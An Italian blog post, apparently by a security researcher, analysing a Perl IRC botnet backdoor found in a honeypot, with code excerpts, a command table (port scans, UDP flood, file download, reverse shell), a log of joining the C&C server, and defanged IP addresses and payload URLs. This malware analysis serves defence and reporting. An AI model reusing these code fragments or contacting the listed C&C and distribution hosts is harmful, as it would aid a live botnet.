Con uno dei miei tanti honeypots attivati in giro per il world wide web, ho scoperto un interessante script scritto con il famoso linguaggio di programmazione Perl. Questo script Perl è un malware utilizzato per controllare a distanza una macchina, aprendo quella che tecnicamente viene chiamata backdoor. Se questo programma maligno gira su più macchine, c’è la possibilità che l’attaccante possa aver creato una botnet.

All’inizio, una botnet è una rete controllata da un bots master e composta da dispositivi infettati con malware specializzati, chiamati bot o zombie (“Computer zombie”).

I dispositivi connessi a Internet in cui ci sono vulnerabilità nella loro infrastruttura possono a volte diventare parte della botnet, anche se non hanno il malware installato. Attraverso la backdoor, il botmaster può controllare il sistema tramite accesso remoto. Così i computer infetti possono lanciare attacchi, chiamati Distributed Denial of Service contro altri sistemi o eseguire altre operazioni illecite.

Come funziona è relativamente semplice. Una volta che la macchina è stata infettata, il malware deve ascoltare le istruzioni remote dell’attaccante. C’è quindi una sorta di nodo, chiamato anche C&C (command and control), che dà “ordini” eseguiti dalle macchine infette.

Ed ecco il primo problema. La centralizzazione del punto di controllo, chiamato anche C&C. Il nodo centrale deve essere sicuro, lontano da qualsiasi ISP e applicazione come firewall e antivirus che potrebbero accorgersi e bloccare l’attacco. Gli autori usano varie tecniche per cercare di rendersi “invisibili” all’utente e al firewall.

Allora la soluzione è facile: usare una rete decentralizzata. No, non sto parlando di usare blockchain per botnet (anche se è un’idea divertente). Alcuni hacker (se si possono definire tali) usano protocolli peer-to-peer, e altri usano anche IRC. Ed è di IRC che andrò a parlare.

Infatti, il programma maligno ascolta i comandi collegandosi ad un canale privato o ad una chat privata utilizzando la rete aperta IRC. Attraverso il canale di conversazione, l’autore è in grado di controllare tutti i sistemi infetti che stanno ascoltando il canale. L’aggressore sconosciuto può essere decine di migliaia, e dare un ordine, richiedendo immagini dello schermo, credenziali e molto altro.

Il programma malevolo

Il programma è un chiaro esempio del tentativo di aggiungere la macchina infetta a una botnet. Attraverso questo post, analizzeremo passo dopo passo il codice implementato. All’inizio dello script possiamo trovare interessanti variabili, utili per la connessione al servizio IRC.

my @mast3rs = ("z","w","x");
my @hostauth = ("localhost");
my @admchan=("#ssh");
my @server = ("91.191.19.205");

@mast3rs suona come un array sconosciuto, ma solo alla fine capiremo cosa potrebbe essere; @hostauth sembrerebbe indicare una sorta di autenticazione; @admchat specifica un canale IRC, mentre @server definisce l’IP del server IRC a cui la macchina deve connettersi.

In questo estratto, abbiamo un’ulteriore conferma dell’utilizzo di un socket IRC per comunicare con l’attaccante.

my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);

Il nome utente per IRC è generato unendo la variabile @nickname con un numero casuale.

my @nickname = ("b");
sub getnick {
        return "$nickname[rand scalar @nickname]".int(rand(20000));
}

Una volta che la macchina è collegata a IRC, il programma è pronto a ricevere informazioni. L’attaccante (che è operatore su IRC) chiama la funzione “X”. Per ogni funzione esistente, viene associato un comando da eseguire. Ogni funzione è definita con una regex, qui una tabella riassuntiva.

ComandoEsempioDescrizione
ps IPps 127.0.0.1Scansione delle porte aperte sull’ip. Le porte sono hard-encoded nello script (array @portas).
nmap IP initial_range final_rangenmap 127.0.0.1 27 40Scansione delle porte aperte sull’ip specificato. La funzione supporta un range.
rmrmClean - rimozione del malware.
versionversionPriting malware version
download filedownload home.txtScarica un file dal dispositivo infetto.
udp IP port time (ms)udp 127.0.0.1 20 400Invio attacco basato sul flood tramite pacchetti UDP.
back IP portback 171.2.19.201 80Installa una reverse shell.

Per esempio, con il comando pv, il dispositivo infetto è un port scanning per scoprire se ci sono porte aperte (le porte sono definite nell’array @portas). Anche il comando nmap serve alla stessa cosa, ma le porte sono specifiche per un intervallo di valori.

my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");

Questo codice controllerà se la porta è aperta. Semplicemente $scansock è TRUE solo quando la porta restituisce una risposta valida.

foreach my $porta (@portas)  {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
if ($scansock) {
        ....
}

Se $scansock è valido, lo script invierà un messaggio privato a $printl.

sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."open");

Reporting

Una volta trovato un qualsiasi malware, dovresti segnalare i vari IP legati alla possibile attività illegale e il malware stesso. Con ogni probabilità, l’attacco verrà (più o meno) fermato poiché di solito c’è un dominio/ip collegato e il fatto può essere segnalato alle terze parti.

Poi ho provato a iscrivermi a questo server IRC.

16:31 [912]  -!- **Irssi:** Connection to **91.191.19.205** established
16:31 [912]  -!- !unreal.org  *** Looking up your hostname...
16:31 [912]  -!- !unreal.org  *** Couldn't resolve your hostname; using your IP address instead
16:31 [912]  -!- /list LIST command
16:31 [912]  -!- Channel User 
16:32 [912]  -!- #ircd 1132 [+sntu]
16:32 [912]  -!- #aka 85 [+sntu]
16:32 [912]  -!- #ph1 261 [+sntu]
16:32 [912]  -!- #ssh 46 [+sntu]

Oltre 1500 macchine collegate (considerando ogni utente come una macchina infetta), tutti gli utenti sono “invisibili” a chiunque, tranne che agli amministratori della rete. Così, ho proceduto a segnalare il fatto su Twitter.

Poi il server IRC mi ha bannato :- ( .

Dettagli

  • Server IRC: hxxp://91.191.19.205.
  • Script Perl: hxxp://192.241.243.77/tar, hxxp://94.23.19.166/hit